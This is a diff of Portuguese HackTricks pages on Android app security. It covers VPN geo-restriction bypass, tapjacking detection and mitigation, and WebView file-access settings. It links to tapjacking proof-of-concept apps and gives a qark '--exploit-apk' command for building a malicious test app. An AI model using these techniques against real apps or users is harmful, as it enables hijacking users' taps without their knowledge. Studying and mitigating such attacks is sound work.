@ -206,12 +175,14 @@ invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,42 +1,57 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
Em situações em que um aplicativo é restrito a determinados países e você não consegue instalá-lo em seu dispositivo Android devido a limitações regionais, falsificar sua localização para um país onde o aplicativo está disponível pode conceder acesso. Os passos abaixo detalham como fazer isso:
|
||||
|
||||
**Informação copiada de** [**https://manifestsecurity.com/android-application-security-part-23/**](https://manifestsecurity.com/android-application-security-part-23/)
|
||||
1. **Instale o Hotspot Shield Free VPN Proxy:**
|
||||
- Comece baixando e instalando o Hotspot Shield Free VPN Proxy na Google Play Store.
|
||||
|
||||
Muitas vezes você viu que a aplicação que deseja avaliar só é permitida em países selecionados, então nesse caso você não conseguirá instalar essa aplicação no seu dispositivo Android. Mas se você conseguir falsificar sua localização para o país em que a aplicação é permitida, então você poderá ter acesso a essa aplicação. Abaixo está o procedimento para o mesmo.
|
||||
2. **Conecte-se a um Servidor VPN:**
|
||||
- Abra o aplicativo Hotspot Shield.
|
||||
- Conecte-se a um servidor VPN selecionando o país onde o aplicativo que deseja acessar está disponível.
|
||||
|
||||
* Primeiro instale o **Hotspot Shield Free VPN Proxy** da Google Play Store.\
|
||||
![](https://i.imgur.com/0XrmuKY.png)
|
||||
* Agora conecte-se usando-o e escolha o país desejado.\
|
||||
![](https://i.imgur.com/Z0WHrZX.png)
|
||||
* Agora vá para **Configurações** >> **Aplicativos** >> **Google Play Store** e então toque em **Forçar Parada** e depois em **Limpar Dados**.\
|
||||
![](https://i.imgur.com/sjFrr67.png)
|
||||
* Abra a **Google Play Store** e agora você poderá pesquisar e instalar a aplicação que está disponível apenas naquele país.\
|
||||
![](https://i.imgur.com/zfdhCBI.png)
|
||||
3. **Limpe os Dados da Google Play Store:**
|
||||
- Acesse as **Configurações** do seu dispositivo.
|
||||
- Prossiga para **Apps** ou **Gerenciador de Aplicativos** (isso pode variar dependendo do seu dispositivo).
|
||||
- Encontre e selecione a **Google Play Store** na lista de aplicativos.
|
||||
- Toque em **Forçar Parada** para encerrar quaisquer processos em execução do aplicativo.
|
||||
- Em seguida, toque em **Limpar Dados** ou **Limpar Armazenamento** (as palavras exatas podem variar) para redefinir o aplicativo Google Play Store para seu estado padrão.
|
||||
|
||||
4. **Acesse o Aplicativo Restrito:**
|
||||
- Abra a **Google Play Store**.
|
||||
- A loja deve refletir agora o conteúdo do país ao qual você se conectou via VPN.
|
||||
- Você deve ser capaz de pesquisar e instalar o aplicativo que estava anteriormente indisponível em sua localização real.
|
||||
|
||||
### Notas Importantes:
|
||||
- A eficácia deste método pode variar com base em vários fatores, incluindo a confiabilidade do serviço VPN e as restrições regionais específicas impostas pelo aplicativo.
|
||||
- O uso regular de um VPN pode afetar o desempenho de alguns aplicativos e serviços.
|
||||
- Esteja ciente dos termos de serviço de qualquer aplicativo ou serviço que você está usando, pois usar um VPN para contornar restrições regionais pode violar esses termos.
|
||||
|
||||
## Referências
|
||||
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,42 +2,42 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## **Informações Básicas**
|
||||
|
||||
**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visualmente o app vítima, sua interface de usuário é projetada de tal forma a enganar o usuário para interagir com ela, enquanto passa a interação para o app vítima.\
|
||||
Na prática, está **cegando o usuário para que ele não perceba que está realmente realizando ações no app vítima**.
|
||||
**Tapjacking** é um ataque em que um **aplicativo malicioso** é lançado e **se posiciona sobre um aplicativo da vítima**. Uma vez que ele obscurece visualmente o aplicativo da vítima, sua interface de usuário é projetada de forma a enganar o usuário para interagir com ele, enquanto passa a interação para o aplicativo da vítima.\
|
||||
Na prática, ele **cega o usuário, fazendo com que ele não saiba que está realmente realizando ações no aplicativo da vítima**.
|
||||
|
||||
### Detecção
|
||||
|
||||
Para detectar apps vulneráveis a este ataque, você deve procurar por **atividades exportadas** no manifesto do Android (note que uma atividade com um intent-filter é automaticamente exportada por padrão). Uma vez que você encontrou as atividades exportadas, **verifique se elas requerem alguma permissão**. Isso porque a **aplicação maliciosa também precisará dessa permissão**.
|
||||
Para detectar aplicativos vulneráveis a esse ataque, você deve procurar por **atividades exportadas** no manifesto do Android (observe que uma atividade com um intent-filter é automaticamente exportada por padrão). Depois de encontrar as atividades exportadas, **verifique se elas requerem alguma permissão**. Isso ocorre porque o **aplicativo malicioso também precisará dessa permissão**.
|
||||
|
||||
### Proteção
|
||||
|
||||
#### Android 12 (API 31,32) e superiores
|
||||
#### Android 12 (API 31,32) e superior
|
||||
|
||||
[**De acordo com esta fonte**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** ataques de tapjacking são automaticamente prevenidos pelo Android a partir do Android 12 (API 31 & 32) em diante. Então, mesmo que a aplicação seja vulnerável, você **não será capaz de explorá-la**.
|
||||
[**De acordo com esta fonte**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** os ataques de tapjacking são automaticamente impedidos pelo Android a partir do Android 12 (API 31 e 30) e superiores. Portanto, mesmo que o aplicativo seja vulnerável, você **não conseguirá explorá-lo**.
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
Se **`android:filterTouchesWhenObscured`** estiver definido como **`true`**, a `View` não receberá toques sempre que a janela da view estiver obscurecida por outra janela visível.
|
||||
Se **`android:filterTouchesWhenObscured`** for definido como **`true`**, a `View` não receberá toques sempre que a janela da visualização estiver obscurecida por outra janela visível.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
O atributo **`setFilterTouchesWhenObscured`** definido como verdadeiro também pode prevenir a exploração desta vulnerabilidade se a versão do Android for inferior.\
|
||||
O atributo **`setFilterTouchesWhenObscured`** definido como true também pode prevenir a exploração dessa vulnerabilidade se a versão do Android for mais antiga.\
|
||||
Se definido como **`true`**, por exemplo, um botão pode ser automaticamente **desativado se estiver obscurecido**:
|
||||
```markup
|
||||
```xml
|
||||
<Button android:text="Button"
|
||||
android:id="@+id/button1"
|
||||
android:layout_width="wrap_content"
|
||||
|
@ -49,38 +49,24 @@ android:filterTouchesWhenObscured="true">
|
|||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
A aplicação **Android mais recente** que realiza um ataque de **Tapjacking** (invocando antes uma **atividade exportada** da aplicação atacada) pode ser encontrada em [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
A aplicação **Android mais recente** que realiza um ataque de Tapjacking (+ invocando antes de uma atividade exportada da aplicação atacada) pode ser encontrada em: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
Siga as **instruções do README para usá-lo**.
|
||||
Siga as **instruções do README para utilizá-la**.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
Um projeto de exemplo implementando **FloatingWindowApp**, que pode ser usado para sobrepor outras atividades e realizar um ataque de clickjacking, pode ser encontrado em [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (um pouco antigo, boa sorte ao construir o apk).
|
||||
Um projeto de exemplo que implementa o **FloatingWindowApp**, o qual pode ser utilizado para colocar em cima de outras atividades para realizar um ataque de clickjacking, pode ser encontrado em [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (um pouco antigo, boa sorte construindo o apk).
|
||||
|
||||
### Qark
|
||||
|
||||
{% hint style="danger" %}
|
||||
Parece que este projeto agora está sem manutenção e essa funcionalidade não está funcionando corretamente mais.
|
||||
Parece que este projeto não está mais sendo mantido e esta funcionalidade não está mais funcionando corretamente
|
||||
{% endhint %}
|
||||
|
||||
Você pode usar [**qark**](https://github.com/linkedin/qark) com os parâmetros `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` para criar uma aplicação maliciosa para testar possíveis vulnerabilidades de **Tapjacking**.\
|
||||
Você pode usar o [**qark**](https://github.com/linkedin/qark) com os parâmetros `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` para criar uma aplicação maliciosa para testar possíveis vulnerabilidades de **Tapjacking**.
|
||||
|
||||
A mitigação é relativamente simples, pois o desenvolvedor pode optar por não receber eventos de toque quando uma visualização está coberta por outra. Usando a [Referência para Desenvolvedores Android](https://developer.android.com/reference/android/view/View#security):
|
||||
A mitigação é relativamente simples, pois o desenvolvedor pode optar por não receber eventos de toque quando uma visualização é coberta por outra. Utilizando a [Referência do Desenvolvedor Android](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> Às vezes, é essencial que uma aplicação possa verificar que uma ação está sendo realizada com o conhecimento e consentimento total do usuário, como conceder uma solicitação de permissão, fazer uma compra ou clicar em um anúncio. Infelizmente, uma aplicação maliciosa poderia tentar enganar o usuário para realizar essas ações, sem o seu conhecimento, ocultando o propósito pretendido da visualização. Como remédio, o framework oferece um mecanismo de filtragem de toque que pode ser usado para melhorar a segurança de visualizações que fornecem acesso a funcionalidades sensíveis.
|
||||
> Às vezes é essencial que um aplicativo possa verificar que uma ação está sendo realizada com pleno conhecimento e consentimento do usuário, como conceder uma solicitação de permissão, fazer uma compra ou clicar em um anúncio. Infelizmente, um aplicativo malicioso poderia tentar enganar o usuário para realizar essas ações, sem saber, ocultando o propósito pretendido da visualização. Como remédio, o framework oferece um mecanismo de filtragem de toque que pode ser usado para melhorar a segurança de visualizações que fornecem acesso a funcionalidades sensíveis.
|
||||
>
|
||||
> Para habilitar a filtragem de toque, chame [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou defina o atributo de layout android:filterTouchesWhenObscured como verdadeiro. Quando habilitado, o framework descartará toques que são recebidos sempre que a janela da visualização estiver obscurecida por outra janela visível. Como resultado, a visualização não receberá toques sempre que um toast, diálogo ou outra janela aparecer acima da janela da visualização.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
> Para habilitar a filtragem de toque, chame [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou defina o atributo de layout android:filterTouchesWhenObscured como true. Quando habilitado, o framework descartará toques que forem recebidos sempre que a janela da visualização estiver obscurecida por outra janela visível. Como resultado, a visualização não receberá toques sempre que um toast, diálogo ou outra janela aparecer acima da janela da visualização.
|
||||
|
|
|
@ -1,180 +1,116 @@
|
|||
# Ataques a Webview
|
||||
# Ataques ao WebView
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Configurações Interessantes
|
||||
## Guia Simplificado sobre Configurações e Segurança do WebView
|
||||
|
||||
Você pode identificar um WebView exposto assim:
|
||||
### Visão Geral das Vulnerabilidades do WebView
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (718).png" alt=""><figcaption></figcaption></figure>
|
||||
Um aspecto crítico do desenvolvimento Android envolve o manuseio correto dos WebViews. Este guia destaca configurações-chave e práticas de segurança para mitigar os riscos associados ao uso do WebView.
|
||||
|
||||
### Acesso a Arquivos
|
||||
![Exemplo de WebView](../../.gitbook/assets/image%20(718).png)
|
||||
|
||||
O acesso a arquivos no _WebView_ é habilitado por padrão. Desde a API 3 (Cupcake 1.5), o método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) está disponível para habilitar ou desabilitar explicitamente.\
|
||||
Se o aplicativo tem a permissão \_**android.permission.READ\_EXTERNAL\_STORAGE** \_, ele poderá ler e carregar arquivos **do armazenamento externo**.\
|
||||
O _WebView_ precisa usar um Esquema de URL de Arquivo, por exemplo, `file://path/file`, para acessar o arquivo.
|
||||
### **Acesso a Arquivos em WebViews**
|
||||
|
||||
#### Acesso Universal a Partir de URL de Arquivo (Obsoleto)
|
||||
Por padrão, os WebViews permitem o acesso a arquivos. Essa funcionalidade é controlada pelo método `setAllowFileAccess()`, disponível desde o nível de API do Android 3 (Cupcake 1.5). Aplicativos com a permissão **android.permission.READ_EXTERNAL_STORAGE** podem ler arquivos do armazenamento externo usando um esquema de URL de arquivo (`file://caminho/para/arquivo`).
|
||||
|
||||
> Define se **solicitações cross-origin** no **contexto de uma URL de esquema de arquivo** devem ser permitidas para acessar **conteúdo de qualquer origem**. Isso inclui **acesso a conteúdo de outras URLs de esquema de arquivo ou contextos web.** Note que alguns acessos, como elementos de imagem HTML, não seguem as regras de mesma origem e não são afetados por essa configuração.
|
||||
>
|
||||
> **Não** habilite essa configuração se você abrir arquivos que podem ser criados ou alterados por fontes externas. Habilitar essa configuração **permite que scripts maliciosos carregados em um contexto `file://`** lancem ataques de cross-site scripting, acessando **arquivos locais arbitrários** incluindo cookies do WebView, dados privados do app ou mesmo credenciais usadas em sites arbitrários.
|
||||
#### **Recursos Obsoletos: Acesso Universal e Acesso a Arquivos a partir de URLs**
|
||||
|
||||
Em resumo, isso vai **prevenir o carregamento de Origens arbitrárias.** O app enviará a solicitação de URL para carregar o conteúdo com **`Origin: file://`** se a resposta não permitir essa origem (**`Access-Control-Allow-Origin: file://`**), então o conteúdo não será carregado.\
|
||||
O **valor padrão é `false`** ao direcionar para [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima.
|
||||
- **Acesso Universal a partir de URLs de Arquivo**: Este recurso obsoleto permitia solicitações entre origens a partir de URLs de arquivo, representando um risco significativo de segurança devido a possíveis ataques XSS. A configuração padrão é desativada (`false`) para aplicativos direcionados ao Android Jelly Bean e mais recentes.
|
||||
- Para verificar essa configuração, use `getAllowUniversalAccessFromFileURLs()`.
|
||||
- Para modificar essa configuração, use `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||||
|
||||
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber se o JavaScript executando no contexto de uma URL de esquema de arquivo pode acessar conteúdo de qualquer origem (se UniversalAccessFromFileURL está habilitado).
|
||||
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) para habilitar/desabilitar.
|
||||
- **Acesso a Arquivos a partir de URLs de Arquivo**: Este recurso, também obsoleto, controlava o acesso a conteúdo de outros URLs de esquema de arquivo. Assim como o acesso universal, sua configuração padrão é desativada para maior segurança.
|
||||
- Use `getAllowFileAccessFromFileURLs()` para verificar e `setAllowFileAccessFromFileURLs(boolean)` para definir.
|
||||
|
||||
{% hint style="info" %}
|
||||
Usar **`loadDataWithBaseURL()`** com `null` como baseURL também **impedirá o carregamento de arquivos locais** mesmo se todas as configurações perigosas estiverem habilitadas.
|
||||
{% endhint %}
|
||||
#### **Carregamento Seguro de Arquivos**
|
||||
|
||||
#### Acesso a Arquivos a Partir de URLs de Arquivo (Obsoleto) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
|
||||
Para desativar o acesso ao sistema de arquivos enquanto ainda acessa ativos e recursos, é utilizado o método `setAllowFileAccess()`. Com o Android R e superior, a configuração padrão é `false`.
|
||||
- Verifique com `getAllowFileAccess()`.
|
||||
- Ative ou desative com `setAllowFileAccess(boolean)`.
|
||||
|
||||
> Define se solicitações cross-origin no contexto de uma URL de esquema de arquivo devem ser permitidas para acessar conteúdo de outras URLs de esquema de arquivo. Note que alguns acessos, como elementos de imagem HTML, não seguem as regras de mesma origem e não são afetados por essa configuração.
|
||||
>
|
||||
> **Não** habilite essa configuração se você abrir arquivos que podem ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto `file://` acessem arquivos locais arbitrários incluindo cookies do WebView e dados privados do app.
|
||||
#### **WebViewAssetLoader**
|
||||
|
||||
Em resumo, isso impede que o javascript acesse arquivos locais via protocolo `file://`.\
|
||||
Note que **o valor dessa configuração é ignorado** se o valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) for `true`.\
|
||||
O **valor padrão é `false`** ao direcionar para [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima.
|
||||
A classe **WebViewAssetLoader** é a abordagem moderna para carregar arquivos locais. Ela usa URLs http(s) para acessar ativos e recursos locais, alinhando-se com a política de Mesma Origem, facilitando assim a gestão de CORS.
|
||||
|
||||
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber se o JavaScript está executando no contexto de uma URL de esquema de arquivo pode acessar conteúdo de outras URLs de esquema de arquivo.
|
||||
